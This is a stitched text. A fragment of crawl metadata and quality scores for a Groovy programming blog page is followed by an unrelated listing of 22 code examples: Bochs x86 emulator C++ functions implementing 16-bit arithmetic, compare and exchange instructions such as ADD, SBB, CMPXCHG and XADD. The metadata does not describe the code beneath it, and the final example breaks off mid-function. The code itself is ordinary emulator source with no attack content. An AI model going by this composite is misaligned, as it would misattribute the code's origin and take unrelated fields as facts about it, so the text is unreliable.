"WARC-Block-Digest": "sha1:QVSTMRCYMRQHUQOULBCXNLUPXX73QKT3",
"WARC-Concurrent-To": "<urn:uuid:b5da3ecd-3965-4545-8e38-49d0dcc4f293>",
"WARC-Date": "2020-11-28T22:51:35Z",
"WARC-IP-Address": "172.217.7.147",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:OD77J4FHKS6HSCOBYCWS6R2U6ME3N6VI",
"WARC-Record-ID": "<urn:uuid:fb2a3c92-ef82-4773-98de-132579db402d>",
"WARC-Target-URI": "https://blog.mrhaki.com/2017/10/groovy-goodness-make-sure-closeable.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:f14a86a0-e33a-4217-9a6f-488134fc191c>"
},
"warc_info": "isPartOf: CC-MAIN-2020-50\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-96.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
7,
8,
25,
26,
109,
110,
483,
484,
684,
685,
764,
817,
863,
864,
932,
997,
1059,
1099,
1160,
1217,
1218,
1283,
1342,
1406,
1449,
1505,
1558,
1564,
1566,
1567
],
"line_end_idx": [
7,
8,
25,
26,
109,
110,
483,
484,
684,
685,
764,
817,
863,
864,
932,
997,
1059,
1099,
1160,
1217,
1218,
1283,
1342,
1406,
1449,
1505,
1558,
1564,
1566,
1567,
1594
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1594,
"ccnet_original_nlines": 30,
"rps_doc_curly_bracket": 0.0025094100274145603,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.26599326729774475,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.26599326729774475,
"rps_doc_frac_unique_words": 0.4300518035888672,
"rps_doc_mean_word_length": 6.435233116149902,
"rps_doc_num_sentences": 37,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 3.9830381870269775,
"rps_doc_word_count": 193,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.2141706943511963,
"rps_doc_frac_chars_dupe_6grams": 0.15780997276306152,
"rps_doc_frac_chars_dupe_7grams": 0.10628019273281097,
"rps_doc_frac_chars_dupe_8grams": 0.059581320732831955,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.057971011847257614,
"rps_doc_frac_chars_top_3gram": 0.08454106003046036,
"rps_doc_frac_chars_top_4gram": 0.0748792290687561,
"rps_doc_books_importance": -85.08063507080078,
"rps_doc_books_importance_length_correction": -71.55598449707031,
"rps_doc_openwebtext_importance": -37.38373565673828,
"rps_doc_openwebtext_importance_length_correction": -37.38373565673828,
"rps_doc_wikipedia_importance": -37.830848693847656,
"rps_doc_wikipedia_importance_length_correction": -24.092391967773438
},
"fasttext": {
"dclm": 0.4281907081604004,
"english": 0.7606980204582214,
"fineweb_edu_approx": 3.064084768295288,
"eai_general_math": 0.8836346864700317,
"eai_open_web_math": 0.050776660442352295,
"eai_web_code": 0.8426122069358826
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1332",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
6,409,483,028,966,657,000 | Importing Netflix Subtitles
LingQ STILL cannot import Netflix subtitles. The import begins about 25 minutes into the video. This has been reported numerous times and never seems to be addressed.
Almost a dozen Netflix videos are included in the library feed under “Netflix”, but it seems to be impossible to import them.
Is this a supported feature of LingQ or not? If it is not, just say so. “Looking into it” doesn’t seem to be producing any solution. I have used every browser. I even stooped to trying MS Edge. It doesn’t work on any of them. I have not tried Android, just Win 11.
3 Likes
@ejackson
I had a stickybeak at the code for Netflix importing.
scriptElem.text = `
async function extractSubs(movieObj) {
let movieId = movieObj.movieId,
movieData = document.getElementById('LQNFXSUB'),
movieElem = movieData.querySelector('.id' + movieId);
if (movieElem) return;
Full LingQ Netflix Import Code
async function extractSubs(movieObj) {
let movieId = movieObj.movieId,
movieData = document.getElementById('LQNFXSUB'),
movieElem = movieData.querySelector('.id' + movieId);
if (movieElem) return;
movieElem = document.createElement('div');
movieElem.setAttribute('class', 'id' + movieId);
movieData.appendChild(movieElem);
for (const track of movieObj.timedtexttracks) {
if (!track.ttDownloadables || track.isForcedNarrative || track.isNoneTrack) continue;
const webvttDL = track.ttDownloadables['webvtt-lssdh-ios8'];
if (!webvttDL || !webvttDL.urls) continue;
const bestUrl = Object.values(webvttDL.urls)[0];
if (bestUrl) {
let text = document.createElement('textarea'),
lang = track.language;
switch(lang) {
case 'zh-Hans':
lang = 'zh';
break;
case 'zh-Hant':
lang = 'zh-t';
break;
case 'nb':
lang = 'no';
break;
case 'nn':
lang = 'no';
break;
default:
lang = lang.split('-')[0];
}
console.log('[' + movieId + '] Found', track.languageDescription,
'captions; code:', lang, '(' + track.language + ')');
text.setAttribute('class', lang);
text.setAttribute('name', track.languageDescription);
text.setAttribute('data-url', bestUrl['url']);
movieElem.appendChild(text);
}
}
}
async function extractInfo(url) {
let opts = new URLSearchParams(url.split('?')[1]),
elem = document.getElementById('LQNFXSUB').querySelector('.id' + opts.get('movieid'));
if (!elem) return;
let data = await fetch(url);
if (data.ok) {
let info = await data.json(),
title = info.video.title,
image = info.video.artwork[0].url,
descr = info.video.synopsis;
if (info.video.currentEpisode) {
search:
for (const season of info.video.seasons) {
for (const episode of season.episodes) {
if (episode.id === info.video.currentEpisode) {
title += ' S' + season.seq + ':E' + episode.seq;
image = episode.stills[0].url;
descr = episode.synopsis;
break search;
}
}
}
}
elem.dataset.title = title;
elem.dataset.image = image;
elem.dataset.descr = descr;
}
}
const originalStringify = JSON.stringify, originalParse = JSON.parse;
JSON.stringify = function(value) {
let orig = originalStringify.apply(this, arguments);
if (value === undefined) return orig;
let data = originalParse(orig);
if (data && data.params && data.params.profiles) {
data.params.profiles.unshift('webvtt-lssdh-ios8');
return originalStringify(data);
}
return originalStringify.apply(this, arguments);
};
JSON.parse = function() {
const value = originalParse.apply(this, arguments);
if (value && value.result && value.result.movieId && value.result.timedtexttracks)
extractSubs(value.result);
return value;
};
const originalXHRopen = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function(method, url) {
if (url.includes('metadata?movieid')) extractInfo(url);
return originalXHRopen.apply(this, arguments);
}
The big take away is that we need to find this element ‘LQNFXSUB’.
Subtitles are stored in this datalink
it ends up downloading with some extra info around the subtitles but that can be fixed with some formatting code.
You can also just copy the Netflix url to SaveTheVideo or Use my Rooster Import tool.
1 Like
@ejackson What browser are you using and do you have the latest LingQ extension version installed?
I have tried Chrome (118.0.5993.89) and Firefox (118.0.2), the latest versions.
Using LingQ Extensions:
Version 2.3.23 for Chrome.
Version 2.2.23 for Firefox
Both begin transcript at ~25:30 and carry on to the end of the show.
I’m reading Norwegian CC, but I doubt that has anything to do with it.
Same symptoms if I pick up a Netflix show from the LingQ library. The last one I tried from the LingQ library is Bloodride in Norwegian, but I’ve tried many with the same results. If I pick a show that is shorter than about 25 minutes, I get nothing on Import, though I get the Imported" message.
This has been going on for many months, and I’ve always used the latest browser and extension versions. Symptoms have not changed since I first reported this months ago.
I used Language Reactor to identify exactly where the transcript begins. LR provides the complete transcript.
This bug greatly affects the utility of LingQ for me, and I hope it can be resolved in the near future.
Thanks. I’m only interested in text importing.
Thanks, we will investigate that.
Reply to -
"ejackson
Thanks, we will investigate that."
I’m just curious if other people have reported the same kind of problem. I also have language reactor and use it to get subtitles.
I was a paid member of Lingq for more than a year - it just didn’t fit my approach to language learning.
This was before Lingq started using Open AI’s whisper technology - I’ve been considering getting the paid plan if it can manage translation captions inside Lingq for me.
John
I have the same issue. When I use the Chrome LingQ importer to import Netflix content, the subtitles start from about half way through the programme.
I watched the Dustin Shermaul video from 2022 showing you how to do it but it just doesn’t work like so much with LingQ.
1 Like
I’ve noticed that LingQ has no problem importing complete LingQ shows for a couple of them in the LingQ library. I managed to import the whole of ‘Under the Amalfi Sun’ from when it starts at 0 minutes till when it finishes.
However, when I go into Netflix to import my own shows, the imported text / subtitles start from half way through the programme.
Can you put ‘Generation 56K’ in the LingQ library and have a go to import the full length of the shows in the series so I can import the full versions from your site?
Thank You.
@David72 Do you have the latest extension version installed?
I have version 2.3.12 | {
"url": "https://forum.lingq.com/t/importing-netflix-subtitles/77007",
"source_domain": "forum.lingq.com",
"snapshot_id": "CC-MAIN-2024-10",
"warc_metadata": {
"Content-Length": "44939",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:OFMB27IHMZ5BBTAYGPAVBV2LMYVBPDQZ",
"WARC-Concurrent-To": "<urn:uuid:88a2a6c2-848c-4b90-ba0c-7906ee5ae73c>",
"WARC-Date": "2024-02-28T18:32:20Z",
"WARC-IP-Address": "172.66.43.135",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:QH2TFV344X246RA6PRQH44SDXVU3UXAN",
"WARC-Record-ID": "<urn:uuid:34d0e00a-23da-4c39-a094-e5a5ff38c853>",
"WARC-Target-URI": "https://forum.lingq.com/t/importing-netflix-subtitles/77007",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:1743ebb3-f474-4749-80c0-84c7c6f00adf>"
},
"warc_info": "isPartOf: CC-MAIN-2024-10\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for February/March 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-196\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
28,
29,
196,
197,
323,
324,
589,
590,
598,
599,
609,
610,
664,
665,
687,
734,
778,
843,
913,
914,
949,
980,
1020,
1064,
1129,
1199,
1200,
1235,
1236,
1291,
1352,
1398,
1399,
1459,
1561,
1562,
1639,
1698,
1699,
1764,
1795,
1862,
1909,
1910,
1945,
1985,
2026,
2061,
2101,
2144,
2179,
2214,
2255,
2290,
2325,
2366,
2401,
2434,
2489,
2511,
2512,
2598,
2684,
2685,
2739,
2813,
2880,
2929,
2947,
2961,
2971,
2972,
3014,
3077,
3180,
3181,
3212,
3213,
3254,
3281,
3327,
3373,
3428,
3477,
3478,
3527,
3555,
3618,
3683,
3759,
3840,
3903,
3961,
4007,
4037,
4063,
4085,
4103,
4104,
4148,
4192,
4236,
4250,
4260,
4261,
4339,
4340,
4383,
4448,
4498,
4499,
4543,
4606,
4673,
4721,
4735,
4796,
4807,
4841,
4905,
5000,
5043,
5069,
5080,
5081,
5144,
5145,
5209,
5277,
5336,
5346,
5347,
5414,
5415,
5453,
5454,
5568,
5569,
5655,
5656,
5663,
5664,
5763,
5764,
5844,
5845,
5869,
5896,
5923,
5924,
5993,
6064,
6065,
6362,
6363,
6533,
6534,
6644,
6645,
6749,
6750,
6797,
6798,
6832,
6833,
6844,
6854,
6855,
6890,
6891,
7022,
7023,
7128,
7129,
7299,
7300,
7305,
7306,
7456,
7457,
7578,
7579,
7586,
7587,
7812,
7813,
7942,
7943,
8110,
8111,
8122,
8123,
8184,
8185
],
"line_end_idx": [
28,
29,
196,
197,
323,
324,
589,
590,
598,
599,
609,
610,
664,
665,
687,
734,
778,
843,
913,
914,
949,
980,
1020,
1064,
1129,
1199,
1200,
1235,
1236,
1291,
1352,
1398,
1399,
1459,
1561,
1562,
1639,
1698,
1699,
1764,
1795,
1862,
1909,
1910,
1945,
1985,
2026,
2061,
2101,
2144,
2179,
2214,
2255,
2290,
2325,
2366,
2401,
2434,
2489,
2511,
2512,
2598,
2684,
2685,
2739,
2813,
2880,
2929,
2947,
2961,
2971,
2972,
3014,
3077,
3180,
3181,
3212,
3213,
3254,
3281,
3327,
3373,
3428,
3477,
3478,
3527,
3555,
3618,
3683,
3759,
3840,
3903,
3961,
4007,
4037,
4063,
4085,
4103,
4104,
4148,
4192,
4236,
4250,
4260,
4261,
4339,
4340,
4383,
4448,
4498,
4499,
4543,
4606,
4673,
4721,
4735,
4796,
4807,
4841,
4905,
5000,
5043,
5069,
5080,
5081,
5144,
5145,
5209,
5277,
5336,
5346,
5347,
5414,
5415,
5453,
5454,
5568,
5569,
5655,
5656,
5663,
5664,
5763,
5764,
5844,
5845,
5869,
5896,
5923,
5924,
5993,
6064,
6065,
6362,
6363,
6533,
6534,
6644,
6645,
6749,
6750,
6797,
6798,
6832,
6833,
6844,
6854,
6855,
6890,
6891,
7022,
7023,
7128,
7129,
7299,
7300,
7305,
7306,
7456,
7457,
7578,
7579,
7586,
7587,
7812,
7813,
7942,
7943,
8110,
8111,
8122,
8123,
8184,
8185,
8206
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 8206,
"ccnet_original_nlines": 194,
"rps_doc_curly_bracket": 0.003533999901264906,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.24424898624420166,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.031123140826821327,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.34100136160850525,
"rps_doc_frac_unique_words": 0.4390532374382019,
"rps_doc_mean_word_length": 5.884023666381836,
"rps_doc_num_sentences": 152,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.4368438720703125,
"rps_doc_word_count": 845,
"rps_doc_frac_chars_dupe_10grams": 0.06154464930295944,
"rps_doc_frac_chars_dupe_5grams": 0.10217215865850449,
"rps_doc_frac_chars_dupe_6grams": 0.06154464930295944,
"rps_doc_frac_chars_dupe_7grams": 0.06154464930295944,
"rps_doc_frac_chars_dupe_8grams": 0.06154464930295944,
"rps_doc_frac_chars_dupe_9grams": 0.06154464930295944,
"rps_doc_frac_chars_top_2gram": 0.005028159823268652,
"rps_doc_frac_chars_top_3gram": 0.012067579664289951,
"rps_doc_frac_chars_top_4gram": 0.014078839682042599,
"rps_doc_books_importance": -638.6575927734375,
"rps_doc_books_importance_length_correction": -638.6575927734375,
"rps_doc_openwebtext_importance": -435.1202087402344,
"rps_doc_openwebtext_importance_length_correction": -435.1202087402344,
"rps_doc_wikipedia_importance": -327.9307556152344,
"rps_doc_wikipedia_importance_length_correction": -327.9307556152344
},
"fasttext": {
"dclm": 0.7092923521995544,
"english": 0.7213274836540222,
"fineweb_edu_approx": 1.4558546543121338,
"eai_general_math": 0.8379127383232117,
"eai_open_web_math": 0.30921685695648193,
"eai_web_code": 0.23750519752502441
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "418.0285",
"labels": {
"level_1": "Philology; or, Language and languages",
"level_2": "Linguistics",
"level_3": "Language acquisition and Applied linguistics"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-7,216,440,433,616,036,000 | Ejemplo n.º 1
0
void BX_CPP_AttrRegparmN(1) BX_CPU_C::SUB_EwIwR(bxInstruction_c *i)
{
Bit16u op1_16, op2_16 = i->Iw(), diff_16;
op1_16 = BX_READ_16BIT_REG(i->rm());
diff_16 = op1_16 - op2_16;
BX_WRITE_16BIT_REG(i->rm(), diff_16);
SET_FLAGS_OSZAPC_SUB_16(op1_16, op2_16, diff_16);
}
Ejemplo n.º 2
0
void BX_CPP_AttrRegparmN(1) BX_CPU_C::CMOVP_GwEwR(bxInstruction_c *i)
{
#if BX_CPU_LEVEL >= 6
if (get_PF())
BX_WRITE_16BIT_REG(i->nnn(), BX_READ_16BIT_REG(i->rm()));
#else
BX_INFO(("CMOVP_GwEw: --enable-cpu-level=6 required"));
UndefinedOpcode(i);
#endif
}
Ejemplo n.º 3
0
void BX_CPP_AttrRegparmN(1) BX_CPU_C::XCHG_EwGwR(bxInstruction_c *i)
{
Bit16u op1_16, op2_16;
#if BX_DEBUGGER
// Note for mortals: the instruction to trigger this is "xchgw %bx,%bx"
if (bx_dbg.magic_break_enabled && (i->nnn() == 3) && (i->rm() == 3))
{
BX_CPU_THIS_PTR magic_break = 1;
return;
}
#endif
op1_16 = BX_READ_16BIT_REG(i->rm());
op2_16 = BX_READ_16BIT_REG(i->nnn());
BX_WRITE_16BIT_REG(i->nnn(), op1_16);
BX_WRITE_16BIT_REG(i->rm(), op2_16);
}
Ejemplo n.º 4
0
Archivo: arith16.cpp Proyecto: iver6/BA
BX_INSF_TYPE BX_CPP_AttrRegparmN(1) BX_CPU_C::CMP_EwIwR(bxInstruction_c *i)
{
Bit32u op1_16 = BX_READ_16BIT_REG(i->rm());
Bit32u op2_16 = i->Iw();
Bit32u diff_16 = op1_16 - op2_16;
SET_FLAGS_OSZAPC_SUB_16(op1_16, op2_16, diff_16);
BX_NEXT_INSTR(i);
}
Ejemplo n.º 5
0
void BX_CPP_AttrRegparmN(1) BX_CPU_C::ADD_EwIwR(bxInstruction_c *i)
{
Bit16u op1_16, op2_16 = i->Iw(), sum_16;
op1_16 = BX_READ_16BIT_REG(i->rm());
sum_16 = op1_16 + op2_16;
BX_WRITE_16BIT_REG(i->rm(), sum_16);
SET_FLAGS_OSZAPC_ADD_16(op1_16, op2_16, sum_16);
}
Ejemplo n.º 6
0
Archivo: arith16.cpp Proyecto: iver6/BA
BX_INSF_TYPE BX_CPP_AttrRegparmN(1) BX_CPU_C::NEG_EwR(bxInstruction_c *i)
{
Bit32u op1_16 = BX_READ_16BIT_REG(i->rm());
op1_16 = 0 - (Bit32s)(Bit16s)(op1_16);
BX_WRITE_16BIT_REG(i->rm(), op1_16);
SET_FLAGS_OSZAPC_SUB_16(0, 0 - op1_16, op1_16);
BX_NEXT_INSTR(i);
}
Ejemplo n.º 7
0
void BX_CPP_AttrRegparmN(1) BX_CPU_C::SBB_EwIwR(bxInstruction_c *i)
{
bx_bool temp_CF = getB_CF();
Bit16u op1_16, op2_16 = i->Iw(), diff_16;
op1_16 = BX_READ_16BIT_REG(i->rm());
diff_16 = op1_16 - (op2_16 + temp_CF);
BX_WRITE_16BIT_REG(i->rm(), diff_16);
SET_FLAGS_OSZAPC_16(op1_16, op2_16, diff_16, BX_LF_INSTR_SUB_SBB16(temp_CF));
}
Ejemplo n.º 8
0
void BX_CPP_AttrRegparmN(1) BX_CPU_C::ADC_EwIwR(bxInstruction_c *i)
{
bx_bool temp_CF = getB_CF();
Bit16u op1_16, op2_16 = i->Iw(), sum_16;
op1_16 = BX_READ_16BIT_REG(i->rm());
sum_16 = op1_16 + op2_16 + temp_CF;
BX_WRITE_16BIT_REG(i->rm(), sum_16);
SET_FLAGS_OSZAPC_16(op1_16, op2_16, sum_16, BX_LF_INSTR_ADD_ADC16(temp_CF));
}
Ejemplo n.º 9
0
Archivo: arith16.cpp Proyecto: iver6/BA
BX_INSF_TYPE BX_CPP_AttrRegparmN(1) BX_CPU_C::ADD_EwIwR(bxInstruction_c *i)
{
Bit32u op1_16 = BX_READ_16BIT_REG(i->rm());
Bit32u op2_16 = i->Iw();
Bit32u sum_16 = op1_16 + op2_16;
BX_WRITE_16BIT_REG(i->rm(), sum_16);
SET_FLAGS_OSZAPC_ADD_16(op1_16, op2_16, sum_16);
BX_NEXT_INSTR(i);
}
Ejemplo n.º 10
0
Archivo: arith16.cpp Proyecto: iver6/BA
BX_INSF_TYPE BX_CPP_AttrRegparmN(1) BX_CPU_C::CMP_EwGwM(bxInstruction_c *i)
{
bx_address eaddr = BX_CPU_CALL_METHODR(i->ResolveModrm, (i));
Bit32u op1_16 = read_virtual_word(i->seg(), eaddr);
Bit32u op2_16 = BX_READ_16BIT_REG(i->nnn());
Bit32u diff_16 = op1_16 - op2_16;
SET_FLAGS_OSZAPC_SUB_16(op1_16, op2_16, diff_16);
BX_NEXT_INSTR(i);
}
Ejemplo n.º 11
0
void BX_CPP_AttrRegparmN(1) BX_CPU_C::CMP_GwEwM(bxInstruction_c *i)
{
Bit16u op1_16, op2_16, diff_16;
BX_CPU_CALL_METHODR(i->ResolveModrm, (i));
op1_16 = BX_READ_16BIT_REG(i->nnn());
op2_16 = read_virtual_word(i->seg(), RMAddr(i));
diff_16 = op1_16 - op2_16;
SET_FLAGS_OSZAPC_SUB_16(op1_16, op2_16, diff_16);
}
Ejemplo n.º 12
0
void BX_CPP_AttrRegparmN(1) BX_CPU_C::XCHG_EwGwM(bxInstruction_c *i)
{
Bit16u op1_16, op2_16;
BX_CPU_CALL_METHODR(i->ResolveModrm, (i));
op1_16 = read_RMW_virtual_word(i->seg(), RMAddr(i));
op2_16 = BX_READ_16BIT_REG(i->nnn());
write_RMW_virtual_word(op2_16);
BX_WRITE_16BIT_REG(i->nnn(), op1_16);
}
Ejemplo n.º 13
0
void BX_CPP_AttrRegparmN(1) BX_CPU_C::ADD_EwGwM(bxInstruction_c *i)
{
Bit16u op1_16, op2_16, sum_16;
BX_CPU_CALL_METHODR(i->ResolveModrm, (i));
op1_16 = read_RMW_virtual_word(i->seg(), RMAddr(i));
op2_16 = BX_READ_16BIT_REG(i->nnn());
sum_16 = op1_16 + op2_16;
write_RMW_virtual_word(sum_16);
SET_FLAGS_OSZAPC_ADD_16(op1_16, op2_16, sum_16);
}
Ejemplo n.º 14
0
void BX_CPP_AttrRegparmN(1) BX_CPU_C::ADC_EwGwM(bxInstruction_c *i)
{
Bit16u op1_16, op2_16, sum_16;
bx_bool temp_CF = getB_CF();
BX_CPU_CALL_METHODR(i->ResolveModrm, (i));
op1_16 = read_RMW_virtual_word(i->seg(), RMAddr(i));
op2_16 = BX_READ_16BIT_REG(i->nnn());
sum_16 = op1_16 + op2_16 + temp_CF;
write_RMW_virtual_word(sum_16);
SET_FLAGS_OSZAPC_16(op1_16, op2_16, sum_16, BX_LF_INSTR_ADD_ADC16(temp_CF));
}
Ejemplo n.º 15
0
Archivo: arith16.cpp Proyecto: iver6/BA
BX_INSF_TYPE BX_CPP_AttrRegparmN(1) BX_CPU_C::XADD_EwGwR(bxInstruction_c *i)
{
/* XADD dst(r/m), src(r)
* temp <-- src + dst | sum = op2 + op1
* src <-- dst | op2 = op1
* dst <-- tmp | op1 = sum
*/
Bit32u op1_16 = BX_READ_16BIT_REG(i->rm());
Bit32u op2_16 = BX_READ_16BIT_REG(i->nnn());
Bit32u sum_16 = op1_16 + op2_16;
// and write destination into source
// Note: if both op1 & op2 are registers, the last one written
// should be the sum, as op1 & op2 may be the same register.
// For example: XADD AL, AL
BX_WRITE_16BIT_REG(i->nnn(), op1_16);
BX_WRITE_16BIT_REG(i->rm(), sum_16);
SET_FLAGS_OSZAPC_ADD_16(op1_16, op2_16, sum_16);
BX_NEXT_INSTR(i);
}
Ejemplo n.º 16
0
void BX_CPP_AttrRegparmN(1) BX_CPU_C::SBB_GwEwM(bxInstruction_c *i)
{
Bit16u op1_16, op2_16, diff_16;
bx_bool temp_CF = getB_CF();
BX_CPU_CALL_METHODR(i->ResolveModrm, (i));
op1_16 = BX_READ_16BIT_REG(i->nnn());
op2_16 = read_virtual_word(i->seg(), RMAddr(i));
diff_16 = op1_16 - (op2_16 + temp_CF);
BX_WRITE_16BIT_REG(i->nnn(), diff_16);
SET_FLAGS_OSZAPC_16(op1_16, op2_16, diff_16, BX_LF_INSTR_SUB_SBB16(temp_CF));
}
Ejemplo n.º 17
0
void BX_CPP_AttrRegparmN(1) BX_CPU_C::CMPXCHG_EwGwR(bxInstruction_c *i)
{
#if BX_CPU_LEVEL >= 4
Bit16u op1_16, op2_16, diff_16;
op1_16 = BX_READ_16BIT_REG(i->rm());
diff_16 = AX - op1_16;
SET_FLAGS_OSZAPC_SUB_16(AX, op1_16, diff_16);
if (diff_16 == 0) { // if accumulator == dest
// dest <-- src
op2_16 = BX_READ_16BIT_REG(i->nnn());
BX_WRITE_16BIT_REG(i->rm(), op2_16);
}
else {
// accumulator <-- dest
AX = op1_16;
}
#else
BX_INFO(("CMPXCHG_EwGw: not supported for cpu-level <= 3"));
UndefinedOpcode(i);
#endif
}
Ejemplo n.º 18
0
Archivo: arith16.cpp Proyecto: iver6/BA
BX_INSF_TYPE BX_CPP_AttrRegparmN(1) BX_CPU_C::ADC_EwGwM(bxInstruction_c *i)
{
bx_address eaddr = BX_CPU_CALL_METHODR(i->ResolveModrm, (i));
Bit32u op1_16 = read_RMW_virtual_word(i->seg(), eaddr);
Bit32u op2_16 = BX_READ_16BIT_REG(i->nnn());
Bit32u sum_16 = op1_16 + op2_16 + getB_CF();
write_RMW_virtual_word(sum_16);
SET_FLAGS_OSZAPC_ADD_16(op1_16, op2_16, sum_16);
BX_NEXT_INSTR(i);
}
Ejemplo n.º 19
0
void BX_CPU_C::MOVSX_GdEw(bxInstruction_c *i)
{
Bit16u op2_16;
if (i->modC0()) {
op2_16 = BX_READ_16BIT_REG(i->rm());
}
else {
/* pointer, segment address pair */
read_virtual_word(i->seg(), RMAddr(i), &op2_16);
}
/* sign extend word op2 into dword op1 */
BX_WRITE_32BIT_REGZ(i->nnn(), (Bit16s) op2_16);
}
Ejemplo n.º 20
0
void
bx_cpu_c::PUSH_Ew(BxInstruction_t *i)
{
Bit16u op1_16;
/* op1_16 is a register or memory reference */
if (i->mod == 0xc0) {
op1_16 = BX_READ_16BIT_REG(i->rm);
}
else {
/* pointer, segment address pair */
read_virtual_word(i->seg, i->rm_addr, &op1_16);
}
push_16(op1_16);
}
Ejemplo n.º 21
0
Archivo: arith16.cpp Proyecto: iver6/BA
BX_INSF_TYPE BX_CPP_AttrRegparmN(1) BX_CPU_C::CMPXCHG_EwGwM(bxInstruction_c *i)
{
bx_address eaddr = BX_CPU_CALL_METHODR(i->ResolveModrm, (i));
Bit16u op1_16 = read_RMW_virtual_word(i->seg(), eaddr);
Bit16u diff_16 = AX - op1_16;
SET_FLAGS_OSZAPC_SUB_16(AX, op1_16, diff_16);
if (diff_16 == 0) { // if accumulator == dest
// dest <-- src
write_RMW_virtual_word(BX_READ_16BIT_REG(i->nnn()));
}
else {
// accumulator <-- dest
AX = op1_16;
}
BX_NEXT_INSTR(i);
}
Ejemplo n.º 22
0
Archivo: arith16.cpp Proyecto: iver6/BA
BX_INSF_TYPE BX_CPP_AttrRegparmN(1) BX_CPU_C::XADD_EwGwM(bxInstruction_c *i)
{
/* XADD dst(r/m), src(r)
* temp <-- src + dst | sum = op2 + op1
* src <-- dst | op2 = op1
* dst <-- tmp | op1 = sum
*/
